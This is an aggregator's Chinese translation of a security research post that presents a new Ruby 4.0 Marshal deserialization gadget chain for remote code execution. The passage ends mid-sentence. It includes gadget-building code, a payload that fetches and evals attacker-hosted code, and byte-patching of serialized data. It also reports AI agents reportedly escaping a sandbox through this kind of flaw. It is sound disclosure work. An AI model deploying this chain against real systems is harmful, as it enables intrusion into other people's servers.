Ruby 4.0 通用 RCE 反序列化 Gadget 链

Hacker News Top 论文

摘要

本文发布了一条全新的通用 Ruby 反序列化 gadget 链,可将一次 Marshal.load 转变为命令执行,适用于 Ruby 4.0.6,并可回溯至 Ruby 3.3 无需修改,由新 gadget 和改装后的 gadget 共同构建。

暂无内容
查看原文
查看缓存全文

缓存时间: 2026/08/14 09:30

# Ruby 4.0 通用 RCE 反序列化 Gadget 链 - elttam 来源:https://www.elttam.com/blog/ruby-4-0-universal-rce-deserialization-gadget-chain ## 引言 2026 年 8 月 5 日,OpenAI 披露(https://www.youtube.com/watch?v=87DyyMV0kCY#t=25m),一组处于评估中的 AI 智能体突破了沙箱,并完全控制了它们所运行集群的管理权限。其中一部分原因是它们利用了 Ruby 反序列化来执行命令。这引起了我们的注意,因为在 2018 年,我们发布了首个完全基于标准库、无任何依赖的 Ruby 通用 RCE 反序列化 gadget 链(https://www.elttam.com/blog/ruby-deserialization)。该链仅适用于 Ruby 2.6.10 及更早版本,而最近公开的链(https://nastystereo.com/security/ruby-3.4-deserialization.html)只支持到 3.4-rc。本文发布了一个新的通用链,它只需一次 `Marshal.load` 即可在 Ruby 4.0.6(撰写本文时的最新版本)上实现命令执行,并且在 3.3 及更早的版本上也能原样工作。该链既使用了来自尚未被利用的源的新 gadget,也复用了旧 gadget 的新用法。 ## 背景 序列化(https://en.wikipedia.org/wiki/Serialization)是将对象转换为字节序列的过程,这些字节随后可以通过网络传输或存储在文件系统/数据库中。这些字节包含重建原始对象所需的全部信息。这个重建过程被称为反序列化。每种编程语言通常都有自己原生的序列化格式,并且可能使用不同于序列化/反序列化的名称来指代该过程。对于 Ruby 而言,通常使用术语 marshalling 和 unmarshalling,相关操作由 `Marshal.dump` 和 `Marshal.load` 提供。 ## Ruby 反序列化的十三年 Ruby 通用反序列化 gadget 链始于 2018 年,建立在早期针对 Ruby on Rails 的特定应用链研究之上,而该通用研究后来又反过来促进了后续特定应用链的发展。下面几个里程碑中的若干部分为本链提供了构建基础。 - 2013 年 1 月 10 日 - Rails 3.2.10 远程代码执行(https://github.com/haileys/old-website/blob/90a01589abe3385ecc8202c9a276a184be4b4602/posts/rails-3.2.10-remote-code-execution.md),作者:Hailey Somerville - 2013 年 1 月 31 日 - Ruby 漏洞跟踪器问题(https://bugs.ruby-lang.org/issues/7759),作者:Hailey Somerville - 2016 年 5 月 6 日 - 攻击 Ruby on Rails 应用程序(https://phrack.org/issues/69/12),作者:Phenoelit 的 joernchen - 2018 年 11 月 8 日 - Ruby 2.x 通用 RCE 反序列化 Gadget 链(https://www.elttam.com/blog/ruby-deserialization/),作者:Luke Jahnke(elttam) - 2019 年 1 月 2 日 - CVE-2019-5420(https://hackerone.com/reports/473888),作者:ooooooo_q - 2019 年 3 月 2 日 - 使用 Ruby YAML.load 实现通用 RCE(https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/),作者:Etienne Stalmans - 2019 年 6 月 20 日 - 通过 Ruby on Rails Active Storage 不安全反序列化实现远程代码执行(https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization),作者:Sivathmican Sivakumaran 和 Pengsu Cheng(趋势科技安全研究团队) - 2021 年 1 月 7 日 - 针对 Ruby 2.x-3.x 的通用反序列化 Gadget(https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html),作者:William Bowling - 2021 年 1 月 9 日 - 使用 Ruby YAML.load(版本 > 2.7)实现通用 RCE(https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/),作者:Etienne Stalmans - 2022 年 3 月 28 日 - Ruby 反序列化 - Rails 上的 Gadget(https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md),作者:httpvoid - 2022 年 4 月 4 日 - 第二轮:针对 Ruby 2.x-3.x 的更新通用反序列化 Gadget(https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html),作者:William Bowling - 2022 年 5 月 17 日 - Ruby 漏洞:利用危险的 Open、Send 和反序列化操作(https://bishopfox.com/blog/ruby-vulnerabilities-exploits),作者:Ben Lincoln(Bishop Fox) - 2024 年 3 月 13 日 - 在 Rubyland 中发现反序列化 Gadget 链(https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/),作者:Alex Leahu(Include Security) - 2024 年 6 月 20 日 - 通过发送 JSON 执行命令?了解 Ruby 项目中的不安全反序列化漏洞是如何工作的(https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/),作者:Peter Stöckli(GitHub) - 2024 年 10 月 17 日 - 更新用于 marshal 加载的 Ruby gadget(https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1),作者:Leonardo Giovannini(Doyensec) - 2024 年 11 月 24 日 - Ruby 3.4 通用 RCE 反序列化 Gadget 链(https://nastystereo.com/security/ruby-3.4-deserialization.html),作者:Luke Jahnke - 2024 年 12 月 3 日 - Gem::SafeMarshal 逃逸(https://nastystereo.com/security/ruby-safe-marshal-escape.html),作者:Luke Jahnke - 2025 年 8 月 20 日 - Marshal 疯狂:Ruby 反序列化漏洞简史(https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/),作者:Matt Schwager(Trail of Bits) - 2026 年 8 月 5 日 - OpenAI 在黑帽 USA 2026 上披露自主 AI 智能体在野利用 Ruby(JRuby)反序列化(https://www.youtube.com/watch?v=87DyyMV0kCY#t=25m) - 2026 年 - Ruby 4.0 通用 RCE 反序列化 Gadget 链,作者:Luke Jahnke(本文) ## 3.4 链是如何失效的 最近公开的链发布于 2024 年底,它通过以下 payload 在 Ruby 3.4-rc 上实现了命令执行: ``` Marshal.dump( [ Gem::SpecFetcher, to_s_wrapper( call_url_and_create_folder( "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz" ) ), to_s_wrapper(exec_gadget) ] ) ``` 该链发布十天后,RubyGems 中提交了两个 commit,移除了它所依赖的 gadget,且每个 commit 都以这篇writeup 作为动机。两者都随 Ruby 3.4.0 一起发布,这就是为什么该链能用于 release candidate 但不能用于正式版的原因。 第一个 commit,62b49465f8(https://github.com/ruby/rubygems/commit/62b49465f8f770ebbee51d7cb4de7745cbb0d78c),标题为“Improve type checking in marshal_load methods”,并注明“使得将这些类用作 gadget 更加困难”。`Gem::Version#marshal_load` 此前会将反序列化的值直接传递给构造函数而不做验证,而在该构造函数中 `Gem::Version.correct?` 会对它调用 `to_s`: ``` def marshal_load(array) - initialize array[0] + string = array[0] + raise TypeError, "wrong version string" unless string.is_a?(String) + + initialize string end ``` 第二个 commit,89ad04db86(https://github.com/ruby/rubygems/commit/89ad04db867dedb6ec9d78dd891ca69e2ef275a5),标题为“Stop storing executable names in ivars”,并注明“移除将这些类用作 ACE gadget 的用法”。`Gem::Source::Git` 和 `Gem::Resolver::GitSet` 此前将 git 可执行文件名存储在一个实例变量中,Marshal 会直接恢复该变量,随后它会传递给进程创建操作: ``` - @git = ENV["git"] || "git" ``` 现在该名称在使用时从环境中读取,因此不再有可设置的实例变量。 这两个 commit 破坏 `to_s_wrapper` 和 `exec_gadget`,但 `Gem::SpecFetcher` 和 `call_url_and_create_folder` 未受影响,在 Ruby 4.0 中仍然可用。 ## 构建新链 ### 扩大可用 gadget 集 该链以 `Gem::SpecFetcher` 开头,并非因为该类做了任何工作,而是因为 `Marshal.load` 必须解析该常量,而解析它会触发 RubyGems 的 autoload,进而 require 定义它的文件,该文件反过来又 require 其他文件,依此类推。因此,一个裸 Ruby 进程一开始只有一小组链可触及的类,但经过一次常量引用后,最终会得到一个更大的类集合可供挑选 gadget,其中包括 `Gem::URI::Generic`、`Gem::RequestSet::Lockfile` 和 `Gem::StubSpecification`——本链的其余部分都依赖于它们。 ### 寻找新的代码执行目的地 一个合适的 `exec_gadget` 替代品由 `Gem::Specification.load` 提供,其中 `Gem.open_file` 解析为 `File.open`: ``` class Gem::Specification < Gem::BasicSpecification def self.load(file) [...] code = Gem.open_file(file, "r:UTF-8:-", &:read) begin spec = eval code, binding, file ``` 该方法从磁盘读取一个文件,并将其内容直接传递给 `eval`。因此,如果一条链能够同时控制传递给 `Gem::Specification.load` 的文件名以及该文件的内容,那么就能实现任意代码执行。 ### 调用 load 方法 现有 gadget 集中没有形如 `@controlled.load(@also_controlled)` 的灵活 gadget,但 `Gem::StubSpecification` 提供了一条通过 `hash` 方法间接调用 `Gem::Specification.load(loaded_from)` 的路径。这是因为 `loaded_from` 是一个 `attr_accessor`,其值保存在 `@loaded_from` 中,并可通过反序列化来设置: ``` def eval_file_gadget(filename) stub_specification = Gem::StubSpecification.allocate stub_specification.instance_variable_set(:@loaded_from, filename) return stub_specification end ``` 剩下一个问题是在反序列化过程中 `hash` 是如何被调用的。 ### 触发 hash 方法调用 每当对象被用作 `Hash` 的键时,Ruby 就会对其调用 `hash`。`Marshal.load` 通过插入键来重建哈希,因此只要将构造好的 `Gem::StubSpecification` 作为某个键放入 payload 中,就足以触发 `hash` 调用。 > **Java 爱好者会认出这一点。** `HashMap.readObject` 会对其恢复的每个键调用 `hashCode`,这是 ysoserial(https://github.com/frohoff/ysoserial)中大量链的入口点。 该触发器并不是一个维护者可以静默收紧的小众 `marshal_load` 重写,而是语言两个基础功能之间的交互:对对象进行哈希,以及在反序列化过程中重建 `Hash`。移除它意味着改变核心数据结构的行为方式,而正是这种性质的取舍使得 gadget 可以廉价使用、却又难以禁止。 ### 将代码写入文件系统 如果链不能将攻击者控制的代码写入磁盘,那么能够 `eval` 磁盘上任意文件就毫无用处。本链没有为此构建新的原语,而是复用了 `call_url_and_create_folder`——它是 3.4-rc 链中维护者保留未动的组件之一。在早期那条链中,该 gadget 创建了命令执行 gadget 所依赖的目录,因为 `Gem::Source::Git` 开始时会先切换进这些目录之一,如果该目录不存在就会失败。这里它被用于另一个目的:其 URL 下载功能会获取攻击者托管的内容,并通过目录穿越将该内容写入文件系统中一个可预测且通常可写的路径。 ### 触发下载 3.4 链通过 `to_s_wrapper` 调用 `call_url_and_create_folder`,而类型检查 commit 移除了 `to_s_wrapper`,因此该 gadget 需要一个新调用者。这个调用者还必须容忍失败。该 gadget 期望其获取的 URL 包含一个序列化对象,如果内容不符合则抛出异常;而需要落到磁盘上的是 Ruby 源代码。这两者不可能同时成立,因为 Marshal 头部没有留下实现 polyglot 的空间。下载和写入发生在解析之前,因此异常是在有用工作完成之后才到来的。 Ruby 自身的 `Time` 反序列化同时提供了这两者。`time_mload` 在 `rb_rescue` 内验证 zone 名称,而 `rb_rescue` 会丢弃其引发的任何异常: ``` static VALUE validate_zone_name(VALUE zone_name) { StringValueCStr(zone_name); return zone_name; } static VALUE time_mload(VALUE time, VALUE str) { [...] get_attr(zone, (zone = rb_rescue(validate_zone_name, zone, 0, Qnil))); [...] ``` `time_mload` 是 `Time._load` 的后端,而 `Marshal.load` 在重建 `Time` 时会调用 `Time._load`。zone 名称直接来自 payload,因此构造好的 `Time` 可以将任意对象放入 `validate_zone_name`。`StringValueCStr` 随后会对其调用 `to_str` 而不是 `to_s`。 `Gem::URI::Generic` 补上了这个缺口。其 `to_str` 是 `to_s` 的别名,而 `to_s` 会对 `@port` 属性调用 `to_s`: ``` module Gem::URI class Generic def to_s [...] str << @port.to_s [...] end alias to_str to_s [...] ``` 将下载 gadget 包装在其中,就能把 `to_str` 调用转换为它所需要的 `to_s` 调用: ``` def to_str_calls_to_s(to_s_sink) uri = Gem::URI::Generic.allocate uri.instance_variable_set("@port", to_s_sink) return uri end ``` 两个 gadget 死亡,两个存活,而存活者在此链中承担了不同的任务: 2024 年 11 月的 3.4-rc 链 vs. Ruby 4.0 链 ### 构造托管文件 3.4 链将 `call_url_and_create_folder` 指向了 rubygems.org 上的一个真实 gemspec。任何有效 URL 都可以,因为只需要沿着路径创建的目录。这一次,该文件包含要执行的 Ruby 代码。检索到的内容在写入磁盘前会经过 `Gem::Util.inflate`,因此该文件必须先进行 deflate 压缩: ``` $ ruby -e 'File.write("poc-id.rz", Gem.deflate("puts `id`"))' ``` `call_url_and_create_folder` 将 `@scheme` 属性设置为 `s3`,以到达 `@port` 中的目录穿越。`s3_uri_signer.rb` 构建的签名 URL 硬编码了 `https://`,因此该文件必须通过 HTTPS 提供。目的地由 `Gem::Source#fetch_spec` 控制,它会把缓存目录与 `Gem::MARSHAL_SPEC_DIR`(设置为 `quick/Marshal.4.8/`)以及 name tuple 的 `spec_name` 拼接起来,`spec_name` 为 `"#{name}-#{version}.gemspec"`,由于 `@name` 属性设置为 `"name"` 且版本为空,它变成 `name-.gemspec`。解压后的副本落在 `/tmp/quick/Marshal.4.8/name-.gemspec`,这正是 `eval_file_gadget` 被赋予的路径。 ### 序列化一个 Marshal 不会 dump 的 Time 链中所有其他 gadget 都是普通对象,其实例变量可以通过 `allocate` 和 `instance_variable_set` 设置,然后再交给 `Marshal.dump`。`Time` 不是这样的,因为它定义的是 `_dump` 而不是逐字段 dump。`time_dump` 会写出它收到的真实 `Time` 对象的真实 zone,因此无法让 `Marshal.dump` 生成一个 zone 为任意对象的 `Time`。虽然 Ruby 不会 dump 这样的对象,但这并不妨碍 `Marshal.load` 接受它。 绕过无法 dump 所需形状 `Time` 的一种方法,是先 dump 一个相同形状的替身对象,然后事后修补字节。生成器构建一个带有两个实例变量 `@offset_placeholder` 和 `@zone_placeholder` 的 `Object`,然后将对象头部和两个属性名重写为 `Time._load` 所期望的形式: ``` rce_gadget_chain = placeholder_gadget_chain.gsub( "o:\vObject\a:\x18@offset_placeholderi\x00:\x16@zone_placeholder", "Iu:\x09Time\x0d\x00\x00\x00\x80\x00\x00\x00\x00\x07:\x0boffseti\x05:\x09zone" ).b ``` 替换结果是一个 `Time` 的 `TYPE_USERDEF`(`u`)条目,包含 8 字节打包的时间缓冲区,并用 `TYPE_IVAR`(`I`)包裹,使得 `offset` 和 `zone` 属性随之携带,与真正的 `Marshal.dump(Time.now)` 看起来完全一致。流中紧随其后的 `zone` 值保持不变,仍然是 gadget。 这个补丁是对带有反向引用的格式进行的字节级手术,因此它在某一特定方面很脆弱。Marshal 会为每个符号只写入一次,并在之后的每次使用时发出 `TYPE_SYMLINK`;symlink 是对已出现过符号的索引。在补丁区域之前增加或删除一个符号定义,会移动其后所有索引并破坏流的其余部分。因此,搜索模式和替换模式都恰好定义了三个符号,所以 t

相似文章

Ruby Bundler 的冷却支持

Hacker News Top

Bundler 4.0.13 引入了一项冷却功能,阻止解析发布不足 N 天的 gem,以缓解供应链攻击。该功能为可选加入,并可根据不同源、设置或命令行标志进行配置。

objdump -g 中的任意代码执行

Lobsters Hottest

objdump -g 中存在一个安全漏洞,由于 FR30 重定位处理程序缺少边界检查,通过精心构造的 FR30 目标文件可实现任意代码执行,单个漏洞利用即可绕过 ASLR 及其他缓解措施。

Rubish: 一个纯 Ruby 编写的 Unix 外壳

Hacker News Top

Rubish 是一个纯 Ruby 编写的 Unix 外壳,旨在实现与 bash 的完全兼容,同时深度整合 Ruby 的特性,如块、迭代器和方法链。

Ruby Central 的破坏性遗产

Hacker News Top

一篇博客文章批评了 Ruby Central 对 RubyGems 和 Bundler 的处理方式,称其“敌意收购”导致大量辞职、赞助商流失以及项目移交给 Matz。

恶意Rust包Arrayref在构建时执行负载

Hacker News Top

流行的Rust包`arrayref`的一个受损版本包含了一个恶意的构建时负载,该负载在编译期间执行远程代码,影响了众多下游项目。